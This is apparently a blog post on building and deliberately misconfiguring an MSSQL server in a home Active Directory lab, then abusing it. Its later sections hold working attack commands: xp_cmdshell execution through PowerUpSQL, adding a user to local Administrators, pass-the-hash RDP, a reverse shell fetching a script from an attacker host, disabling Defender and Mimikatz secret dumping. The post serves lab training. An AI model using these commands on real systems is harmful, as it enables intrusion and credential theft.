TL;DR howto setup & [mis]configure MSSQL for a range, how to enumerate it, and how to abuse it.
Background
Back when I took CRTP in late 2021 it included MSSQL enumeration and abuse. This topic was not in the CRTP renewal exam I took recently, but AD CS enumeration and abuse was. GOAD includes MSSQL and I figured Mishky’s AD Range should too.
This howto isn’t so much on enumerating and abusing MSSQL as it is about how to automate setup and [mis]configuration and then work it into an escalation path.
Pre-Requisites
Grab a free MSSQL ISO from the Microsoft Evaluation Center. We then extract the files from the ISO and create a ZIP file containing them. We will upload this Zip to a VM later.
#Run this part on the hypervisor to extract SQL from the ISO and then create the Zip
New-Item -Path "C:\VM_Stuff_Share\SQL2022" -ItemType Directory
$mountResult = Mount-DiskImage -ImagePath 'C:\VM_Stuff_Share\ISOs\SQLServer2022-x64-ENU.iso' -PassThru
$volumeInfo = $mountResult | Get-Volume
$driveInfo = Get-PSDrive -Name $volumeInfo.DriveLetter
Copy-Item -Path ( Join-Path -Path $driveInfo.Root -ChildPath '*' ) -Destination "C:\VM_Stuff_Share\SQL2022" -Recurse
Dismount-DiskImage -ImagePath 'C:\VM_Stuff_Share\ISOs\SQLServer2022-x64-ENU.iso'
Create the VM
I simply named the VM “Research-SQL”, gave it the IP .148, picked a local admin password for it, and then ran our functions. I won’t re-hash all that here, it’s in the code of Mishky’s AD Range. This creates the Hyper-V VM using only an ISO and an answer file, configs it, and joins it to the second forest in Mishky’s AD Range; research.local.
Setup & [mis]config MSSQL
I can’t take much, if any, credit for this. I did a lot of Googling and put pieces together from various sources. I figured out how to automate installing MSSQL thanks to Vishnu Gupthan. I borrowed the part about changing the account used to run MSSQL from The Scripting Guy himself.
I simply put it all together and [mis]configured MSSQL just so.
I put this at the bottom of ‘Create-Cousin.ps1’ that spins up the second forest in Mishky’s AD Range.
Enable-VMIntegrationService "Guest Service Interface" -VMName "Research-SQL"
Copy-VMFile "Research-SQL" -SourcePath ".\SQL2022.zip" -DestinationPath "C:\SQL2022.zip" -CreateFullPath -FileSource Host
#Install PowerShell Desired State Configuration (DSC)
Invoke-Command -VMName "Research-SQL" {Install-Module -Name SqlServerDsc} -Credential $CousinDomainAdminCredObject #Installs the Desired State Configuration module
Invoke-Command -VMName "Research-DC" -FilePath ".\Create-SQLUser.ps1" -Credential $CousinDomainAdminCredObject #Creates users to run & manage MSSQL, gives Dave pwd reset
Invoke-Command -VMName "Research-SQL" -FilePath ".\Install-SQL.ps1" -Credential $CousinDomainAdminCredObject #Uses DSC to setup MSSQL on Research-SQL
Invoke-Command -VMName "Research-SQL" -FilePath ".\Config-SQL.ps1" -Credential $CousinDomainAdminCredObject #[mis]configs Research-SQL IOT put it in the escalation path
Create accounts for MSSQL
This creates user accounts that will run MSSQL, manage it, and puts them into the escalation path.
This is all in ‘Create-SQLUser.ps1’.
Import-Module ActiveDirectory
$ADRoot = (Get-ADDomain).DistinguishedName
#setup MSSQL user account to run MSSQL on Research-SQL
$Password = (ConvertTo-SecureString -AsPlainText '<password>' -Force)
New-ADUser -Name "MSSQL" -Description "MSSQL" -SamAccountName "MSSQL" -UserPrincipalName "MSSQL@$ADRoot" -Path "ou=PlaceHolder,$ADRoot" -AccountPassword $Password -PasswordNeverExpires $true -Enabled $true
Set-ADUser -Identity "MSSQL" -ServicePrincipalNames @{Add="MSSQL/research.local"}
#Create a "SQL manager" account that will have SQL Administrator rights on Research-SQL
$Password = (ConvertTo-SecureString -AsPlainText '<password>' -Force)
$Description = "SQL Administrator on Research-SQL"
New-ADUser -Name "SQL.Admin" -Description "$Description" -SamAccountName "SQL.Admin" -UserPrincipalName "SQL.Admin@$ADRoot" -Path "ou=PlaceHolder,$ADRoot" -AccountPassword $Password -PasswordNeverExpires $true -Enabled $true
Set-Location AD:
#Give a Dave Password reset & re-enable over SQL.Admin
$victim = (Get-ADUser "SQL.Admin").DistinguishedName
$acl = Get-ACL $victim
$user = New-Object System.Security.Principal.SecurityIdentifier (Get-ADUser -Identity "Dave").SID
#Allow specific password reset
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"ExtendedRight","ALLOW",([GUID]("00299570–246d-11d0-a768–00aa006e0529")).guid,"None",([GUID]("00000000-0000-0000-0000-000000000000")).guid))
#Allow specific WriteProperty on the Enabled attribute
$acl.AddAccessRule((New-Object System.DirectoryServices.ActiveDirectoryAccessRule $user,"WriteProperty","ALLOW",([GUID]("a8df73f2-c5ea-11d1-bbcb-0080c76670c0")).guid,"None",([GUID]("00000000-0000-0000-0000-000000000000")).guid))
#Apply above ACL rules
Set-ACL $victim $acl
Install MSSQL via DSC
This unzips the MSSQL setup files, installs it, and sets a few basic settings.
This is in ‘Install-SQL.ps1’.
#https://www.sqlservercentral.com/articles/install-sql-server-using-powershell-desired-state-configuration-dsc
#Interesting, but used DSC instead: https://medium.com/trendyol-tech/sql-server-unattended-installation-with-powershell-d12c7a732b00
#Zip the SQL2022 folder, upload it to Research-DC, Expand-Archive
Expand-Archive -Path "C:\SQL2022.zip" -DestinationPath "C:\"
#Install PowerShell Desired State Configuration (DSC)
#Install-Module -Name SqlServerDsc
Import-Module SqlServerDsc
#DSC
Configuration InstallSQLServer
{
Import-DscResource -ModuleName SqlServerDsc
Node "Research-SQL"
{
WindowsFeature 'NetFramework45'
{
Name = 'NET-Framework-45-Core'
Ensure = 'Present'
}
SqlSetup SQLInstall
{
InstanceName = "MSSQLSERVER"
Features = "SQLENGINE"
SourcePath = "C:\SQL2022"
SQLSysAdminAccounts = @("research\Administrator","research\SQL.Admin")
DependsOn = "[WindowsFeature]NetFramework45"
}
}
}
# Compile the DSC configuration file
InstallSQLServer -OutputPath "C:\DSC"
# Apply the DSC configuration
Start-DscConfiguration -Path "C:\DSC" -Wait -Verbose -Force
[mis]config MSSQL
Finally this sets MSSQL to run as the specified user. The default is NT Service\MSSQL. Following CRTP’s example though we need to run MSSQL as a user who is a local administrator on the server.
This is ‘Config-SQL.ps1’.
#https://devblogs.microsoft.com/scripting/use-powershell-to-change-sql-server-service-accounts/
#Get SQL info
#Get-WmiObject win32_service -computer Dave-PC | Where-Object {$_.name -match "^*SQL*"} | select SystemName, Name, StartName, PathName
#Get more detailed info
#[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SqlWmiManagement") | out-null
#$SMOWmiserver = New-Object ('Microsoft.SqlServer.Management.Smo.Wmi.ManagedComputer') "Dave-PC" #pull in the server you want
#$SMOWmiserver.Services | Select-Object name, type, ServiceAccount, DisplayName, StartMode, StartupParameters | Format-Table
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SqlWmiManagement") | out-null
$SMOWmiserver = New-Object ('Microsoft.SqlServer.Management.Smo.Wmi.ManagedComputer') "Research-SQL" #pull in the server you want
#Check which service you have loaded first
$ChangeService | select name, type, ServiceAccount, DisplayName, Properties, StartMode, StartupParameters | Format-Table
#Specify the "Name" (from the query above) of the one service whose Service Account you want to change.
$ChangeService=$SMOWmiserver.Services | where {$_.name -eq "MSSQLSERVER"} #Make sure this is what you want changed!
$UName="research\MSSQL"
$PWord='<password>'
$ChangeService.SetServiceAccount($UName, $PWord)
#Now take a look at it afterwards
$ChangeService | select name, type, ServiceAccount, DisplayName, Properties, StartMode, StartupParameters | Format-Table
#default is NT Service\MSSQLSERVER
Add-LocalGroupMember -Group "Administrators" -Member "research\MSSQL"
Set-Service -Name "SQLServerAgent" -StartupType Automatic
Set-Service -Name "SQLBrowser" -StartupType Automatic
New-NetFirewallRule -DisplayName "SQLServer default instance" -Direction Inbound -LocalPort 1433 -Protocol TCP -Action Allow
New-NetFirewallRule -DisplayName "SQLServer Browser service" -Direction Inbound -LocalPort 1434 -Protocol UDP -Action Allow
Restart-Computer -Force
We then made two small tweaks in ‘VMConfig (ResearchDC P6).ps1’ so that the rights given to Dave are now given to MSSQL instead. These tweaks completed the insertion of MSSQL into the escalation path.
Enumeration & Abuse
I can’t take much credit for this either. I went back and checked my notes from the CRTP course I took in late 2021. Nikhil Mittal is the rock star behind Altered Security, formerly known as Pentester Academy, and the CRTP exam, among others. I was merely trying to re-create one small part of what he did.
After creating the MSSQL VM and working it into the escalation path I tested and verified it from our Kali VM.
First RDP into the toe hold VM on Research.local as Dave.
xfreerdp /v:192.168.0.147 /u:Dave /pth:<hash> /dynamic-resolution
How did we know Dave’s hash and that he could login to that specific VM? How did we move laterally from Dave to SQL.Admin? Try out Mishky’s AD Range yourself and find out!
Import-Module .\PowerupSQL.psd1
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
#Auto crawl SQL DB links:
Get-SQLServerLinkCrawl -Instance research-sql.research.local -Verbose
Get-SQLServerLinkCrawl -Instance research-sql.research.local -Query "exec master..xp_cmdshell 'whoami'"
- Run PowerShell_ISE as a different user, use SQL.Admin’s creds.
- Launch HeidiSQL, check use Windows credentials
- Run a script at login: enablecmd.sql
Get-SQLServerLinkCrawl -Instance research-sql.research.local -Query "exec master..xp_cmdshell 'whoami /groups'"
Get-SQLServerLinkCrawl -Instance research-sql.research.local -Query "exec master..xp_cmdshell 'net localgroup Administrators research\Dave /add'"
#We can now RDP, WinRM, etc to Research-SQL, disable Defender, & dump creds
Wait, what was that SQL script?
I Googled this up and used it during CRTP 3 years ago. I put it in my notes, and I have no idea where I got it. I thank the author though, they saved me on that exam.
- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1;
GO
- To update the currently configured value for advanced options.
RECONFIGURE;
GO
- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1;
GO
- To update the currently configured value for this feature.
RECONFIGURE;
GO
This simply enables the xp_cmdshell given MSSQL Administrator rights. The xp_cmdshell takes legacy cmd.exe commands as input and runs them as whatever user MSSQL is running as. Thanks to our [mis]configuration this means the commands run as a local admin.
Cool, we have RCE
The CRTP course 3 years ago taught to establish a reverse shell in this scenario using PowerShellTcpEx and Powercat to catch it.
Powercat -l -p 443 -v -t 1000
Add-Content .\PowerShellTcpEx.ps1 -Value "Power -Reverse -IPAddress <attacker's IP> -Port 443"
Get-SQLServerLinkCrawl -Instance <MSSQL server's FQDN> -Query 'exec master..xp_cmdshell "PowerShell -C iex (New-Object Net.WebClient).DownloadString(''http://<attacker's IP>/Invoke-PowerShellTcpEx.ps1'')"'
But why? We already have RCE as local admin. Why not simply add ourselves as a local admin and then connect via RDP, WinRM, etc?
Here at test.local we love PowerShell. However this is one of the rare cases where knowledge of legacy cmd.exe commands comes in handy. After all the xp_cmdshell in MSSQL accepts legacy cmd.exe commands as input, not PowerShell Cmdlets.
Get-SQLServerLinkCrawl -Instance research-sql.research.local -Query "exec master..xp_cmdshell 'net localgroup Administrators research\Dave /add'"
Great, now what?
We have local admin on Research-SQL now. We follow Sean Metcalf’s guidance and do everyone’s favorite dance move ‘The Credential Theft Shuffle’.
xfreerdp /v:192.168.0.148 /u:Dave /pth:<hash> /dynamic-resolution
#Disable Defender, copy/paste Mimikatz, & Import-Module
Invoke-Mimi -Command '"token::elevate" "privilege::debug" "lsadump::secrets"'
Further escalation
We now enumerate MSSQL’s rights and look for lateral movement and escalation possibilities. If you want to see where the path goes from here then grab Mishky’s AD Range and Mishky’s Range Expansion Pack from our GitHub and try them out.
Summary
I learned something and had fun automating MSSQL setup and [mis]configuration. I’ll update our GitHub later, right now the Research-SQL VM is only in the version running in the home lab. I had been meaning to screw around with MSSQL and this project was a good way to.
I tell my wife all the time she should make cheat sheets for me instead of simply telling me stuff. Everything on my Medium is essentially a cheat sheet after all, even posts like this one that aren’t explicitly part of our Cheatsheet Series. I go back and check them all the time. I don’t memorize all this stuff after all.
References
MSSQL on Microsoft Evaluation Center: https://www.microsoft.com/en-us/evalcenter/evaluate-sql-server-2022
MSSQL and DSC: https://www.sqlservercentral.com/articles/install-sql-server-using-powershell-desired-state-configuration-dsc
Changing the account MSSQL runs as: https://devblogs.microsoft.com/scripting/use-powershell-to-change-sql-server-service-accounts/
Allow MSSQL through FW: https://learn.microsoft.com/en-us/sql/sql-server/install/configure-the-windows-firewall-to-allow-sql-server-access?view=sql-server-ver16
cmd.exe command net localgroup: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc725622(v=ws.11)
Dumping LSA: https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsa-secrets